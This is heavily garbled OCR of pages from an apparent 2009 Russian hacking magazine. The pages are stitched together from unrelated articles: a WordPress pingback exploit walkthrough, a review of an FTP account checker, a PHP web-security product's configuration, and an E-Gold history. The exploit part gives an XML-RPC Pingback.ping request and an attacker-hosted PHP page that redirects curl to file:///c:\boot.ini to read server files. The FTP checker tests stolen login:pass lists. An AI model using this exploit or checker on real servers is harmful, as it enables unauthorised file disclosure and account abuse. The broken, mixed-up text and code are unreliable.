</rnember>
MO)l(eM nonYl.Jlo1Tb I.JTeHlo1e np01013BOJlbHOrO
<member> <name>bits</name>
JlOKaJlbHOrO epaVina !noAP06Hoe advisory OT nep
<value>HELLO WORLD l < Ivalue>
MHO)KeCTeO epaillnoB lO3alOT Knace .!wp-Includesl
</member> </struct>
http.php. HO cel1l.Jac Mbi paCCt.tOTpIiIM lllilWb 0AIiIH
113 Halil60Jlee ,D,OcTynHblx pre-auth cnoco60B
</paraHl>
3KcnnyaTau,1iI1-16arl1 [HaiiiTVl ,D,pyrl-1e cnoco6b1
ySl3B~MOM
tJ.BI-1>KKd, HaLl"'Ha~
CKa3aTb. '-ITO 3TO He COBceM yl'3BI-1MOCTb BOpJJ,
Aa-.o.a Tbl81~,QI'1Wb lOTcaMblii ¢nar, OT8el.Ja1OLl.I,I'1~
' 3a nOMepxKY peAKpeKTa~
npecca, a, (KOpee, ¢W-13 curl. php-6K6JH10TeKy
.o.al1bwe onYCTV1M 3cYMHbli"1 KOA. HO CKa>Ky nl-1Wb.
KOToporo KaK pa3
'1TO no .oe¢omy lecera 803MO>KHbl '1eTblpe
c 2 7. .o.Ml Ha'-laJ1a Hy>KHO
iii
J03aeT Word Press BMeCTO
npoBep,nOTCs:l CKplo1nTaMIo1 cl.l..I,e Ha BXOJl.e
iii,
K33a
HI-1KTO He nOAYMaJ1 0 TOM. I.JTO curl n0AlJ,ep)l(14SaeT
BOOTKpbISaTenl' VlLl.l,Vl B cHocKax)!
a,ll,MVlHKe - T80e AOMawHee 3a,Q3Hlile:JI
TblY611,Q\1Wb xew iii naponb aJJ,MlIlHa
$argsj;
2. <1>yHKLI,Vls:l, npv.Be,QeHH351 Bblwe, IiIcnol1b3yeTc518
./wp-i ncludes!fu nctions.php:
Ba>+:;Hble ,nfls:l 3KcnnyaTau,1iI1iI 6ara KycKI1 Ko.o,a
function wp_.:-emote_fopen( $ux-i ) (
=:
wp_remote_get ( $uri,
$options : ;
B
nocne,D,Heill sepClillo1 Bop.onpecca 12.7.1]:
3. VOl, HaKoHell, :na)l«(? ¢YHKU,>151 WnOJlb3yeTcfl B
1. ./wp-includes/htlp.php
Y)Ke n0l1lO6V18W€MC>1 TeGe l'1HTep¢ei1ce xmlrpc:
class
WP~Http_eurl
{
=:
pingback~~ing{Sargs)
array (J l {
i f ( ! ini_get (' safeJllode'
npeACTaB.n>1I0T8oeMy BHVlMaHl-11O O'1epe,D,HylO
&& !
Yfl38V1MOCTb Word Press [Hal:1.n.eHHylO He 6e3
curl_setopt( Shandle,
nOMOU\l-1 311l?KTa), KQTOpaSl 3aKn IOl.JaeTC51 8
function
function request ($url, Sargs
<I>OKYCbl CKYPllOM
070
return $objFetchSite->get (Surl,
aAMI1HK'j: Manage => Uploads. 8
none «URL» Bcfly'-lae y.o.3I.JHoro cpa6aTblBaHl1>l 3j(cnnO~Ta
=
_wp_http_get_object() ;
$response B
WH Ha ...ana paCCMOTplo1M HeKOTopble oc06eHHO
B
$objFetchS:"'te
8 BOPAnpeece
<param><value><string>77<!
nl-1cbnpoLilTI1
h~_remote_get($url, Sarge
array (}) (
KypJly SnOJlHe 06WlHblLiI http, Ha BblX0J.N Mbi
string><!value></pararn> </params></methodCall> nOcJ1e oTnpaBKL1 na.o:eTa Ha 6nor >KepTRbl nOTopo
~
true) ;
6nore. no.o.aep)KeHbl Bce sepcIH1
Spc.ge.l.lnkedfrcm
= $o.rg5[O];
ini_get (' open_basedir' )
spagelinkedto
$args [1]
i
CURLOPT_FOLLOWLOCA~ION,
XAKEP 05/125/ 09
s... ",w."P'.""Q
Bee rOTOOOA/lR npOBepKl.1 HaJlll1Y\I1'i1 ¢laCina
WORDPRESS_ORC -
,~_.
0:>.;.,,"
-
IJDO
-,~,c
c:\
booLini Ha TeCTltlpyeMOL:1 01CTeMe. AnA 3KcnIlY3Tal.\l-1lt1 Y>138i11MOCT01 Te6e Heo6xoJl,ltl
~;
I"·"'· J ! I. A~,'mo,
00 Dashboard
cepsepa xmlrpc:
fr~alld
pliC'e[€'ss:"lt the S:"llll€' tim€'.
Right Now
51'"
More simply, WordPress is .....hat 'IOU use when VOV want to with ,'our blogging software. nol f'9h! ll.
~lllClonct
fj POSI$
~
503 POI:'
I
~ '-ledi.
I
MO Jl14Wb nocnaTb Cf1eJl,yIOw,l.1~POST-naKeT Jl,J1>1
pllblishillg
platform "'ith a fo('lls on ;l~$th""tJ('s. w.. b
stundm"<b, ;'111<1 IIsabi!it:•. \\-ol'<irr~ is both
I)M~bo.rd
"
II
WOI'OPl'€'SS is;l st:lt€'-of-th€'-nrt
The Lorem Ipsum Blog
3
§Unks
New 10 blogging?
P~gu
-'l;lad'l to gel stilrtlld?
~~rn
more about wordPrqU, thon follow t,
three easy steps below 10 st<lrt blogging In minute$, Or, for I
39 G>leg<l'iCI
ullll1I<lte m c,",se of use, gH a free bltlg on WOIO:=PI'ess.tQm,
<mee-hodCall>
<methodName>Pingback.ping<f
methodName>
<params>
<pararn><value><string>http://
lamer.com/pingl/?p=2</string><1
value></param>
Do .... nload WordPrllS$ 2 7 1
<param><value><string>http://
lamer.com/ping2/?p=[HA-cymECTBY
AOMAWHHH CTPAHHl.\ABOPAnPECCA
~W£rO_nOCTA_HA_BnOrF.]#larner.coml
0 ·0 (1
nOKCl3blBcUT 3ClnilCil
BCerO,
blog</string></value><fparam>
</params>
</methodCall>
3anpoc 3ClHJln 0.0005 cel<)
SQL-3anpoc: SELECF FROM wp_pos1meta' LIMIT 0 , 30
nOCJle OTCblflKltl n8KeTa Tbl eMo)t(eWb nOflY'-IIHb Jl,Ba OTseTa OT cepsepa:
1. ECJH1 ¢a~Jl c:\bOOI.;ni cy~eCTByeT,TO 6!lor
InpaBKallOnHCaTb SOLI IC03Aa'b PHP-KOA] [06HOB"'bl
npil1WJleTT3KOI1 OTBeTnOKas8Tb: I
~
PR,D,OB OT
10
.jrr-Op-"-3-0-H-ra-n-b-H-o-M---...;....;.;.;.;...;...;.L!.:::J pe>K~Me, 3arOnOBK~
nOelle Ka)l{,Q,b1X
+-T ~ metaJd post_id meta_key meta_value 0.; X 25 1 _wp_old_slug luck-em-all
L OTMeTHTb Bee I CHRTb oTMeTKy co seel( C omMetJeHHb/MU:.;f X
luX)
R"lee
~
Pingback from http://lamer . coml
pingl/?p=2 to http://lamer.
comfping2/?p=1#lamer.comfblog
registered. Keep the web talking!
,- ) 2. Ecn01 TaKaro q,aliiJla HeT, TO )l(AVl TaKoro OTBela
The source URL does not exist. f f Let's cI'_eck the remote site
ini",302);
Slinea = ,,:rp_r:emote_fopen
?>
KCTaTVl, 3TIo'11<1 cnoco60M 6bl.nO 6b1 BnOflHe B03~ MO)l(I-lO np0'-lltlT3Tb eOAep)l(VlMOe Jl1060ro ¢aiiJl3
(Spagelinkedfro~l;
2• ./ping2/index.php
<a href="http: I flamer .coml
pingl/?p=2">Ping2<fa>
Cl.1CTeMbi. eCJl\.1 6bl nltlHr63K He ype3ancl'I AD Ol.lel-lb Manoro KOflltl4eCTBa CVlMBOIlOB, T8K '-ITO, B KOM MeHTapl-1ltl-n\.1H r63Ke Tbl YSlJ1AltlWb f\\IlWb '-ITO-TO BpOAe·
TenepbYHac eCTb 8ce Heo6xOAltlMOe A/l~ I-lanltlca I-lltl~ 3Kcnnoi1T3, -
K ~~MY Mbl cei143c ltl nplt1CTynlt1M.
/'
nCI-l~n. Ae~CT8083Tb
BaTb !'lTOpoi.1, 6.naroJl,ap'i1 e~e OJl,HOV. HeAopa6oTKe BopAnpecca. CMOTpYl B MeXaHltl3M nll1Hros xmlrpc.
A 5blmU1 <l>A~/l? KaK T.bl'y).ce
B 3TOM npll1Mepe nepBblV< ¢aliin CMOJ+(eT npOnltlHro
php,
Mbl 6YAeM 4epe3
MeX31-lltl3M nl'lHr63KOB, npo KOTOPbli1? y)l(e HeOA HOKpaTHO paCCK<33bIBaJl8 npeAblAyw,ltlX HOMepax.
II Check if the page linked to is in our site
r. ,] Server: Apachel2.2,4 (~lin321
mod_ssl/2.2.40penSSL/O.9.8d
PHP/5.2.4 X-Powered-By: PHPf5.2.4
popa: 111 Location: file:fflc:boot.
ini Content-Length: 0 Connection:
close Content-Type: text/html; [ .. ,]
,ufl51 pa60Tbll-i3M nOHaA06Hr::::5'l ABa q,ai1Jla, AO CTynHblX no http.HanpltlMep.TaKo"e: hltp:/tlamer.
~ingl/index.phpltl http;ljlamerr.om/plng2/ Index phQ npeAnono)t(I<lB. ~T03.Qpec H3wefO 6nora - ~ corn/Olag ltl '-ITOTeCTOBbIM CTeHAOM 5lBJl51eTC~ Blt1H Aa, Ha~HeM pa6oT)' Hail. Heo6xOA\IlMl>IMltl q,<Ji1Jl3Mlt1:
Sposl = strpos ($pagelinkedto,
str_replace(array('http://
www,','http://','https:11
'W\tM.','https:fl·), ", get_
aption('home')));
if( !$posl I
Co,o,ep>KltlMOe c.\booLini ocraeTC>I rAe-TO nOA KaTOM
J
On01caHHblVl cnoc06 3KcnJlyaTaLJ,lJ1ltl
Y~3BVlMOCTltl
B aAM01HK€
He
5lBJll'leTC~
eAVlHCTBeHHblM.
Tbl CMO)l(eWb HaliiTltl
\II
Apyrltle 810130
Bbi Q>yHKLJ,iI1i11 wp_get_httpll, KOTOpbl€ T€ 6 e I.ll-1TaTb ¢a"JlbI Ha C\.1CT€Me.
n0380Jl~T
HaiiTVI VlX
y>Ke TSO>l 3aA8'-1a.
1, ./ping1/index.php
<?p'hp header("<title>Exploit<f title><a href="http://lamer.coml ping21?p=l#lamer.coro/blog->Curl<1 a>") ; header("LOCation: file:lllc:\bcot. XAKEP
return new IXR_Error (0,
( 'Is there no link to us? J)) ;
TO BE CONTINUED••• HYI.lTO, Tbl Bce e~e C'-IVlTaeWb Word Press 6e30~
B 3T0l:1 npOBepK€
BOBce He "y>KHO, YTo6bl BTOpO(::1
naCHblM ,Q,BlJ1>KKOM?
nl-lHryeMblv. CaliiT065138TeJlbHO 6blJl TeKy~ltlM 6IlO
He 3a6b1saL:1: 3JlOCTHbI€ KOAOKOnaT€JlVl e)l(e
rOM. TaK KaK Mbi MO)l(eM 060CiT\I1 np08epKy, BCTi3BltlB
AI-l€BHO SAonb ltl nonepeK MY4JlOTWOrdPress
aApec 3Toro caMoro 6Jlora_ Hanpl-lMep, B KOHLJ,e
codebase. KaK roBOPl'lTC~, «npO.o.ofl>KeHltl€
URL noeJle p8WeTKl.1.
CJleAyeT, .. »:)!I
~
071
•
,l i
,I
IJ
·r:
I~
\~I
'fOHliIA .. RorD~ CTF'QtIIKQB ROIDIQ'BK.RU f
o
nporpaMMbl AJl51 xaKepOB
•
s
i,I:ilIII'4Gllt.t"TP-TOOLZ
paM~ (PR/cTpaHa)
I!I!lI*NIX/IdIN M:.lll:aJEN
-
52
-~_
'!f.:r-'M1~.py;
B03MO)l;HOCTb COPTI1POBKI1 aKKOB no
.....
-----
~n<o<~~ ... l~."",:
hastname
<~,
,IS'
J,;>,or"'l~l:
T1!OEJ.l>IJT"l~"1000:
1110
f.~I'lKto.-y.IOO00Q010:
c~....- """'Y'<""• ...--r ""I>«
1, '''''EJ'''''"El"_rccord """I,,_d: fh:_d:
LJeKep nOMep)KI>1SaeT CTClH,QapTHbll1 8101A aKKa yHTOB:
~,
::1~'-"~-"'ll[J'.oc"£T: W50.u,~.u:
~
'~~:::::::Tb::::~:::~':~~~"H'blXItp-4e,epax
I~I i
I
1.0<~et,C10</lt'C:_d:
ftp: / / 1agio: pass@server
~:~~~Z~~c3:'"~_In:
~~~,~:ov;
- login:pass@server
1.n'1"""9O": stopl'hg:boolnn:
Uor111 .... _1"":.,."..d,
(IOd'ct-<>o'd:
eCib 13cerAa, VlMeHHO n03TOMYSl y}t(€ npeACT<lBJl"fl
C YCTSH081(Q~TYn3bl np06J1eM
TBoeMy BHlilMaHl1lO HeCKOflbKO ltlHTepeCHblX npo
,ll.OJ1)1(HO. Te5e norpe6yeTcfl3aJll-1Tb CO,IJ,ep)KlilMOe
I'~-""- AyKT08. ACerO,flH51 XD4Y nopa,O,oaaTb € l lte OI\HOl7t AOCTO~HOi1 T)'Jl30i1- FTP-Toolz 3TO MOUJ,Hbli1
u
~
'n:otTlng:
apXVlsa Ha CBOYi flilJ1lil He COBceM CBOL:1:lJ (epsep.
~",,,,,"",,,,:boo1••
_K:,,,I"O:
n·r .1,.:
DP~K
yCTaH08f1Tb npasa Ha 3;lnlil(bAlls:l KaTanora./
lilHcTpyMeHT WT51 pa60TbI c ¢tTn-aKKaMYl, HaKO-
ftp_lools/upload, e03,D,aTb HOByKJ 6)J,lil oTpe.o.a K
AeHHblf1 Ha
TlilposaTb KOHep,.,r mysql_config.php.
PHP,Om-tCblBaTbBCenpe!t1My~eCTBa
... l~l",p<h..-;
803HlilKUyrb He
HanplilMep. BHewHlIIi.1I1!1>1 BCTpOeHHblVl MlilKP0<p0H. nplll SKIlKJ'leHIWM '(CMne >r<epTSbl Mbl MO)KeM
4€ K epa - A€ f lO lie6Jlaro.aapHoe, n03TOMY KOpOTKO
3anpOCTO nl-otCClTb8Ce pa3roS:)pbi B paAl1yce AOC51
<?php
nepe'll1cnJo JllilWb OCHOBHbl€ 803MO)KHOCTI'I:
$db_host Annoan q..atlnoB "lepe3 ee6-WHTeppe>1C
#
raeMOCT>'! baS>1ClilT, B nepl3ylO O'lepeJ],b, OTKayeCTBCl
"localhost" ;
MlilKPO¢O Hal_ Pa3MepyT>1flbl HeMHOr'MM npeBbiwaeT
7 K6. npl-1 ~TOM ¢YHKl.\ViOHal1 nplilflTHoYAl>1BJl51€T:
XOCT
En
Y:eKep ftP-dKKOB Ha aaJll1AHOCTb
Sdb_user = "root"; It rnep
BCTpoeHJ-'.bIi1. J.1q>paWl-lep (.n;o5aBJIeHH€
Sdb_oassvld = "root"; .; napoJCb Sdb_narne = "ftps"; #
KOLla D HayarrO/KOHeu lfai1na) TIOI1CK)II Y,lJ;anel-iJ.1e "lYJ:0QC iframe-DcraiOoK
Hd3lk1HJ1€
• Uill-fr'.bIe 3any.CblBaIOTC51: £I aYL\>10-4>af1Jl
E.:t
¢opMaTa • mp3, 24 Krll 3?K6v.T/C, MOHO
•
7>
iIJl~ 3anYlC\II Io1cnO;lb3yeTcR
CTaH.!IapT
HblH l'l1111.!IOBY'l1 KO,IJeK folPEG LAYER-3
run-time CTaTI1C'rl1Kd YAo6o'-lI1TaeMble non1
nOCfle 3Toro MO)KeWbCMeno nplllcTyflaTb K
• Ha3BaHMe Kaau:;oro <llaMa C 3anl1CbIJ
nOAAep)l(Ka npOAOJ1*eHMtl y.eKa (TO
npolleccy I'1HCTa.nna no .nlilHKY http://TBO~_XOCT/
YKa3b1BaeTc.II B ,mAe: ['0A-MeCl'lJ..L):teHb_
Itp_lools/i nstall. php
~aC-M~~TbI-ceKYH~bl.mp3
eCTb, eCJTYl CKpWOT He 3aKOH"'l1111 I"!pOBep zy, 1'0 tlpH lidt.tl-l€ T
cneJlYI()~eM
3anYCK€
'I€ Z € P
pa60TdTb TonbKO C T€ M l-1
aKKSMVI,
~OTopble He yenen np04eKaTb)
• OT~l-1CTKa ftp-rrVlCTd npl-1
Aa, lil He 3a6Y,Qb ,Q06aBlilTb 6a3y GeolP £I COOTS eTC
• HaJ1W-U1e uD;M\.1HK\.1, KOTOpa51 no ,ll,e<pOJ1
TSYIOW.lil~ KcnaJlOr ./llp_toots/seller_tooVGeoIP.
Ty n01Oi~aeTC51 Ha nopry 4545
dat.,l],.nSl pa60Tbi yTI1Jlbl nOTpe6yercs:I PHP =>
YlMnOpTe
(Yl1aJleHl-1e aHOHJIlMHblX aZdaYHToB)
j
4..0.3
eepClillil C OTKJ1KJ"leHHbIM Sale_Mode, B TaK>Ke
Tenepb HeMHoro 06 a,[lMl><lnKe. C nOMOl1\bKJ nal-le.nlil
MySQLJ1Io6oL1 sepcVllil.
ynpaBfleHVlR Tbl MO)K€ W b:
c:: I11III
• BCTPOeHHblff napcep BaJIVlAHblx/:-reBd
IlljIJ.:t;.~"IGti'MICSPY
.'lHD;HblX dKKoe
BeCb nepJ.10A pa60TbI CKpJ.1.u·ra • B03MO)l(HOCTb OCTaHOBKYl 4eKepa :t1 Bcex
YTe6Sl HlilKorAa He B03HlilKanO>l<e.naHlilSl nOAcfly
Y,naJrnTb 3afiwcaHJ-::b1e 4,lai1J!b1
ero
waTb'-lY>l<O~pa3roBop? Bee C,QeTCTea 3HBIOT, '-ITO
CKa'--lHSaTb 38,U1caHHble ¢a0J1b.l
3anyUleHHblx KonJ.1fl, nyTeM C03.n:aW-1S1
B n<;lnJ<e
c
'--leKepOM q,at1na
«stop»
KpOMe Taro. B COCTClB 'leKepS SXO,QVlT<j>YHK41>·1O HS.nbHbICi napcep, C nOMOlUblO KOTOpOro Tbl
6e3
eblXO,Q eCTb l Her. Mbl He6y,[leM BaRTb MOAHblL1
oTSLESH'a. TyJl3s nOKa H3 CTaAlillil TeCTlilpOBClH>1s:1>1 pacnpoCTpaHSIeTcR B 6eTa-BepC>1t.1. O,[lHaKO 60JlbWe
• Bbl60pKa aK}WB no
"'"\
• B03MOillHOCTb npoBepKJIl YKa3aHl-iOro
Google pageRank (PRJ
~ ~:. '"<~".'" "._"" .,,
U COPUbI:
MicSpy. clpr -
TyJ!3hl,
OCHOBH851 '-laCTb
BKJlI()"liHI peanJ13al\J1n a.!IMJ.1HKJ.1
:l. A nOMO;tCeTS 3TOM yTl'1Jla MicSpy
J.1 T n.
P.s. E apXl;lBe C y'IJ1J10J4 nelKaT
API. pas
3a,QaHHb1M napaMeTpaM
~
K(jlt>L(aro
3TOTpa3 Mbl npocTO BocnOflb3yeMcs:I MlilKPO¢OHOM. npas,o,B, 'lY)l(I1M
• BLl60pKa aRROB no cTpaHaM
r.ony'-la'l'<> pa:OMep
)KYYOK >111>1 nOAKJ1tO'-laTbCl'I KTeJle¢OHHO~ 11 >1 H>1>1. Ha
Tpy,Qa CMQ)KeWbOTcopTlilpOBaTb<pTn-aKKIo1 no
1
I
npOO1(l'l·pJ.1.SaTb JIMCT:i!Hr' 3an>1C~
4JaHl1oB,
nO,Qc.nYWlilBaTb Hexopowo. HO eefl>1 QyeHb XOyeTCR -
~
Hay'J1HdTb/OCTaHaBIU19aTb 3flnJ1Cb
I!I!lIIdINDOIdS 2oo0/Xp M:IOlISLESH
• Ham14Yle nonHOu.eHHoi1 CTC\TJIlC'l'JIlKJtl 3a
-
KOHCTd:-ITbl, TiIlnb/ Vi cPYHKUYll1
NicRec. pas
-
¢,YHKUI1J1 3am1CVi
enDeOM, nplil Ha;li<t411i11i npRMblX pyK OTKpblBaeTcs:t
Bcero Hac lilHTepecyeTcaMa >1,QeR >1 eOpl\bl. CMblCJJ
Wf1paKLotL:1 npocTop,Q.nR ¢!aHTa3lillll. Vlcn0l1b30BaTb
pa60Tbi TYl13bI33KJlKJ'laeTCSl B CKPblTO~ 3anl>1Clil
nO,Qo6HylO lo1j],elO MO;.KHO 8 pa3HbiX hanpaBJ1eHLots:tX
3syra np>1 nOMow.lil COOTseTClBYIOll.1ero.o.e¢OflTO
[06p3aTeJlbHO 6narl1x
BorOYCTpO~CTBa BClilcreMe. KOlilM MO>l<eTRBJ1"TbC",
pf1M «cnaclil6o» SLESH'y I1l1,o,eM BHlilKSTb B COPL.\b1.
:ll. TaK 'lTO ~ ,[lpy>KHO roBO~
~ ,III (DY"'''
os/mlO,
~
» I
wss
jll#M1:Z}3GlgmIvlEB SECURITY SYSTEM
'J"cl5nYllJ,a c
1torYlpOe<'lH11el~
$TableCache
I!l!lI*NIXIW'IN
t;1:IIJI#lAVADANEI ANDREI
8:: ..... 01',-1
Cl't'C\K
"cache" ;
/ / Ta611Y1U<1 C
YlH<?opMau11ei:l
06
r.l'TaKY!OlllI1X
B noene,o,Hee apeMti W'llpOKoe pacnpOCTpaHeHl-1e ~ nOJlYYl-1Jll-1 pa3Hoo6pa3H':>le ,o,eTeKTOpbl aTaK, no rlo1pylOUJ,lt1e Bee ,o,e~CTBIo1R 3JlOYMblWJleHHl-1Ka. 5=l ~e XOyy 06paTVlTbTBoe BHlI1M8HlI1e H8 HeCKOflbKO l>1Hoili
...~.
?>
"
eMeno 3al1l1Ba~ COepTI1HY Ha cBoC1 cepsep 111 np\II
M
cTynaili K KOHq,l-1rypaqw\.1.lI1 nOMHl-1, 6e30nacHocTlo1
npo,o,YKT - Web Security System - npe,o,H83HaYeH
ssagel) - O'TnpaEKa COo6ll1,eHl1F. aTaKyKl
HbI~ ,D,11~ 38U1l-1Tbl OTXSS, SQL-injl?ction. RFI-aTaK_
l!leMY nplIl o6Hapy)l(CH"I111 a'raKI1
MHoro He 6blS8er
noeepb, 3TO He nYCTbleC110Sa i CIo1CTeMa pe8JlbHO
• SetPatchVars ( [$value] ) - onpe.n.ene
1,I::tIJ1'.'GIGrSiNIQUE PACK V.1 .1
pa6oTaeTlpa3yMeeTcl'l, npl-1 rpaMoTHoili HacrpoiliKe
J-fMe ,ll,eiiCTBlIll1 B cny'-Iae aTaKl1
t!I!I!*NIX/'w'IN
:11.1/13 npel-1MYUlecre npo,o,YKTCl CTOmOTMenlTb: • private $ProtectionLevel 8b1c,:,pa9. pa60Ta c PHP-<paI1JIaM>1
Bblc,:,poe o6HapYJKeHJ1e Yfl33l1MOcTefr
-'-'--
7;
"
/ / Protection level
»
~~::~~:;X~j:~l~~iC:; Z:;:f~~:~~~·};
3;
• private $WarningLevel
1~~~~~~·;
YlX yc,:,paHel-lUe
II warning level
• JIorMpOnaHJ1e Bcex :l"raK B En
• private $MysqlID
1<111...PO~•• ·"".. ·;
/I _ .oo;UI ~'"'VQ1.....1 1q>..... l.·.cto<p.p/lcI·; l",,-,,"u·',_·; 1~... ' "lflcl'~n<l<97'~<h$<lI<.""a<:,."" :
1/ Mysql Connection ID • private $Sho..!Message
A,D,MIo1HKa 01CTeMbl n0380.fltleT:
II"" "' 110111<1'" II Oil u-
1.-....-··dtI·; 1<1b..u< ... •• ...... ·;
-1; :: TRUE:
c
I I If we detect something we show an OpOCMaTpl13o.Tb
:P~a:npeca
G:TaKyllllu1x
message
OcnY'-IaTb HH<jlopXallYll:) 0 TJ.max aTax
• private SEventMessage
npOCMoTPMB3Tb Bee norH no KOHKpeT-
Violation!":
HOM)! IP-aAPocy
aTaKyl:J~CrO
'" "Acces
/ I Message show
rllo6a.n bHblX nepeMeHHblx:
.o.YUleM OKa)l(eTC~ s na6nltlKe. TaK'"lTOC'"lViTaili no,o,apOK He 6oJ1ee 4eM TecrosblM npop,yKTOM nep~ nOKYnKoi:!
from detected problems = TRUE;
S-GET
/ I Store all information about
S-POST
<ittacker from now on
S_SERVER S_SESSION
• privaLe $F,xistThreads
J1111u,eH3l-10HHOili sepCI-ll-1.YTo 113MeHlI1nOCbB pefll13e:
• FALSE;
/ I Security Threads
~3MeH€Ha s~a'-Ia PDF-<pa~na
II Store
threads if exists
3yIOTCl'l:
• private SSystemVersion
PDF
paHJ\OMRIoIMI1 3Ha'J€ H l1J=lMI1)
• 06HOBneH PDF-C]1J10J1:r (Teneph l<1C
• :Drivate $SecurityThreads
8 KayeClSe nepeMeHHbIXAJ1Sl. $_SERVER Vicnonb
(KpoMe
caMoro cnnoi:ha, r€ H epl1pyeTcR
<jlawJI C
array (ar.l:ay (al:-r:ay ()) } :
II System
Ke - 3ap,a4a HenpOCTa>1. ~ peWII1!1 nOAenl-1TbCAOjJ,Hoi:! 'f"%-e BOBCIO ryJ1>1eTnO n0l1ynp\llsaTyll18 HeAalleKOM 6y
1/ Patch value
'fRUE:
• private $Follow!\ttacker
$_COOKTE
K8KTbIY)l(e3HaeWb, H8i1iTl>1 XOPOWYKl CBA3KYB na6nl-1 113 nplo1138THblX BepCI1~ Cal<3KI1 Unique Packv.l.1. OHa
in case of attack detection • private $PatchVars
KpOMe TOro, 8 co¢n1He peanl-130aaHa npOBepKa
II c• ... IllcP-l
nonb3yeTC51 Double PDF HOBO-M 11 cTapoi"1. BepcHIil cOBMeCTHO}
'"1.4
R :
• \Ii3MeHeH MeTO.u U1VJ1JpoBal-1I1S1 cnnothoe
Version
"HTTP_ACCEPT", "HTTPj.CCEPT_
• private $SystemUpdateLink '"
CHARSE'J'", "ET'T'P_ACCEPT_ENCODING" ,
II Hold update link
YcraHoBlHb CB5I3KY HeC.flO)l(H 0:
"HT7P_ACCEPT_l..ANGUAGE", "HTTP_
• private SSystemUpdateVers
3aJU1BaeM <jlai1JIbI Ha a6Y3HblM cepl3ep
CmmECTION". "HTTP_HOST", "HTTP_
I I Hold update version
3anl1SaeM
REFERER" , "HTTP_USER-fiGENT' ,
• private $ExceptionVars
CBfl3KOH C
" SER\lF:R_}\DHIN " , 'SPRVSR_PORT",
array() :
"SERVER_SIGNATURE", "PHP_AUTH_
special checks vars
• C03.n.aeM 6a3Y ,I\aHHblX • OrKpblsaeM <jlai1n config .php
/ / Hold
DIGES'r", "?HPJUTH_IJSI::R", "PHP_
AUTrCPW" , • AUTH_TYPE" .
php 11 nOJ!Hbli1 nl1HK.n;o load.php, a TaKJKe
uaw_caw'1'/spl/_install. php
<?php
$pass'"
I I .l\<lHHble
';,ISS"; //nFlCC AJ\~H1Hi1 TiI1~
Sconnection = array("server" "loca lhost" ,
ll)lfl 3anycKa cKaHMpOEaEI151 CI1CTeMhI
"user"
=>"root",
" SetScanZone (S....,hich, $value) - I1C
"pass"
=>
nO!lb3yeTC51 np:l1 CKaH>1pOBa::-mu rno6anb
"database" => 'WSS");
/ /'dAPNTNG !! if you edit
• SetNone?r'otection () - onpe,IjeJT.qeT
bello\oJ
• SetWarningLevel ([$le'lell) - onpe .uenF.eT ypoBeHb
npe~ynpe)K~eHY1i1:
• SetMessageToAttacker(($sh~H),($me
XAKEP 05/1251 09
"'>
finished Please delete install.php· y.uan.l'leM _install. php
It1 cnOKoiliHO Ha6nlOAaeM CTaTY no 3arpy3KJM:
Hh!X nepeMeHJoJblX
\'OU
M 3anyc~
KaeM YiHCTann • nocne HB.anHCI1 ftlnstallation
nO,!\KJT)J'leHLUl K CY61l
• RunPSystem () - OCHODHhI€ <}YHKWfYl
• SetAl) Protection () - YCTaHaBJTI1BaeT
HCl .n;OC'IYn K CTClTI1CTAKe
• 86l1EaeM 3 6paY3epe a,npec http: / I
10160 B HeM cOCpeAOTOyeHbl OCHOBHbie HacrpoVoKIo1
J3.,.CllllllM ypOJ3eHL 3aW)1Tb! - 7
H BnY!Ch!
nomJ:hlft m-ffHC .n.o pdf.
nOrl1H/naponh
\II <PYHK4\1l1l1 Cl>1CTeMbl
(1 - MJ.1EYlM:aJIbEbli1j
nartKy co
npoClO:
$user '" "Andrei"; i./ no fl1rl. a,UMI1Hd
3allll1T~
B
Hya caM KOHepl-1r config.php 13blrJll<p,l<1T p,OCTar04HO
l-13y""lIl1Tb COAep>I<J.1Moe CKpll1nTd prt_system.php.
yposeHb
exe' llIHHK
aaeM f.\aHHbl:e 6a3hl,
nOMl-1MO KOH$l-1ra. KOTOPblCi pacnonaraeTC~ B epaCine config.php, HaCTO~TenbHOpeKOMeHAYIO
CBOM
Ha3BaHl1eM 1. exe
~3f'ttings
must edit S€ t lings
from
ATpa<pi-1K HanpaSMeM SOT Ha :310T llltlHK
the Plt_systern.php file ..
= "prt_sys_";
$TablePrefix ; I npc<pI1Kc
=
$TCibleMain !.I
http://Haill_cai1T/spl/index.php
'I"d6m'll.I,
OCHOSHaJ=l
~main";
Ta611l1Ubl
$TableAttackers
"attackers";
p.s. nOBepb, 11l-1u,eH3l<10HHal< sepCI-1l'l CSI'I3Klo1 CTOI1T CBOl-1Xp,eHer, a Ha.flI-1YY1e nOAaep:KK141'l an,qeiliTOB orynl-1T npl-106pereHl.1e BC<lMble KOpOTKl-1eCpOKl'l.X
~
073
....I!I"'-~s~""' ....
3KCKYPC B 101 CTOPIo1 10 npeAMeT
Ka3a.nOCb6bl. npeycne8alOUJ,111ii Spil4, HV1 CTOIO
Hawero cero,llH51WHerO VI HTepeca - E-Gold
HI1l C cera YJ:l.apI1lBwliIillC51 S J.neKTpoHHylO KOM
HI1We pblHKa. Pe3ynbTaT He 3aCTaBl1n ce6s:l
Mepu,l1llO. 0 KOTopolii TorAa HI1KTO e1J~e TonKOM He
>KAaTb. A*eKcoH ,o,e(:,CT8111TenbhO He OWI16C,,
MO>K€T
no npasy ropAI-lTbcq
He TOflbKO 6blllbiM
Ho >KYl3Hb
yxe B 1996-M rOAY, B nO'1TV1 CB060AHOVl Tor,o,a
nOMbIWJlSln- 3TO seCbMa CTpaHHo,
nonHa ClOpnplo130B. ,ll,e.no B TOM, 4TO ,ll,>KeKCOH
npo,o,oll)l(eHIt151 Me,(l~l.\l'IHCKO(:, ,o,eSlTe,lbHOCTVl B
HblM 3saH\IIeM O,llHOVi \113 crapet:1w\I1x 113 HV1X.
BCer,(la 6bln HepaBHoAyweH K (1)l'lI-laHcaM. a,
nonb3Y CTpetvllt1Tenbl-lO Ha6Vlpa lOw,ei1 060POTbf
npV1AYMaJ111 '<:;lJleKTpOHHOe 301l0TO» H3 C3MOVi
3aH51BWI1lCb c06CTBeHHbiM 61013HecoM. ywefl B
KOMnaHl11t1 Gold & Silver Reserve (G&SRllnc.
3ape I1HTepHeT3 - B 1996 rOAY. VI c,u,enaJllil 3TO
HV1X C rOnOBOI1. OH npeAn04l1lTa.n3HaTb, C 4eM
,ll,yrnac nepeAan CBOKl A011l0 B Florida Oncology
J],sa BeCbMa A3neKlI1X OT 8(>lK0.:1 «KOMnbfOTep
UJ,lt1H tol» 4enQSeKa - .uyrn3c ,U>KeKCOH
Jacksonl
V1
[Douglas
6app14AaYHI1 (Barry K. Downey\.
